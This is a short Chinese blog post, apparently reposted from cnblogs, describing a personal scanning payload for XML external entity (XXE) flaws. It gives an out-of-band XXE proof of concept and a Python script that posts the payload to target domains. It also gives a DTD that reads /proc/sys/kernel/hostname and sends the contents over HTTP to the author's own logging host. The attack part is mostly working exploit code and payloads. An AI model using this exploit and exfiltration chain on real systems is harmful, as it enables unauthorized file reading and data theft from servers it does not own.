• 个人XXE新扫描payload


    0X01 旧的 xxe poc

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE convert [
    <!ENTITY % remote SYSTEM "{dnslog_url}">
    %remote;
    ]>
    

    该poc只能证明服务器请求过第三方dtd,但无法验证是否运行、是否读取了文件是否发出来信息

    每次验证的时候,都需要在公网主机上建一个 xx.xml放置dtd,dtd再读文件指向dns或ftp,颇为麻烦

    0X02 新的 xxe poc+exp

    想起来我还有个自己搭建的dnslog + http log 平台

    import requests
    
    
    def exp_xxe_vul(domain):
        my_xml = "http://域名手动打码.info/%s/3mognym4" % domain.replace(".", "-")
        target = domain
        schemes = ["http://", "https://"]
        APPEND_PATHS = ["/test"]
        headers = {
            "Content-Type": "application/soap+xml"
        }
        post_data = """<?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE root [
    <!ENTITY % remote SYSTEM "{my_xml}">
    %remote;]>
    <root/>
        """
        post_data = post_data.format(my_xml=my_xml)
        for scheme in schemes:
            domain = scheme + target
            print(domain)
            for APPEND_PATH in APPEND_PATHS:
                url = domain + APPEND_PATH
                try:
                    a = requests.post(url, post_data, headers=headers, timeout=7)
                except:
                    pass
    

    dtd由DNSLOG平台的http response功能提供
    在获取DTD的时候,会附带上 domain.replace(".", "-")也就是域名的信息。

    DTD
    <!ENTITY % file SYSTEM "file:///proc/sys/kernel/hostname">
    <!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://域名手动打码.info/3mognym4/%file;'>">
    %int;
    %send;
    

    获取DTD之后,读取文件,将主机名用http的方式再发送到该页面来 (A页面 -> DTD -> A页面)
    这里为什么不用dns的方式,因为文件中的换行符空格等可能阻断dns信息的传输

    0X03 效果


    下面的先出现的记录获取了域名信息
    上面的后出现的记录获取了文件信息

    妙极,域名和exp拿到的主机名对得上了

  • 相关阅读:
    红帽中出现”This system is not registered with RHN”的解决方案
    消息队列
    安装nmap
    工作后才知道
    虚拟空间测速
    Update 两个表之间数据更新 (转)
    破解
    一步步打造自己的代码生成器
    Table轻松实现报表 转载
    sql使用convert转化
  • 原文地址:https://www.cnblogs.com/huim/p/12836981.html
Copyright © 2020-2023  润新知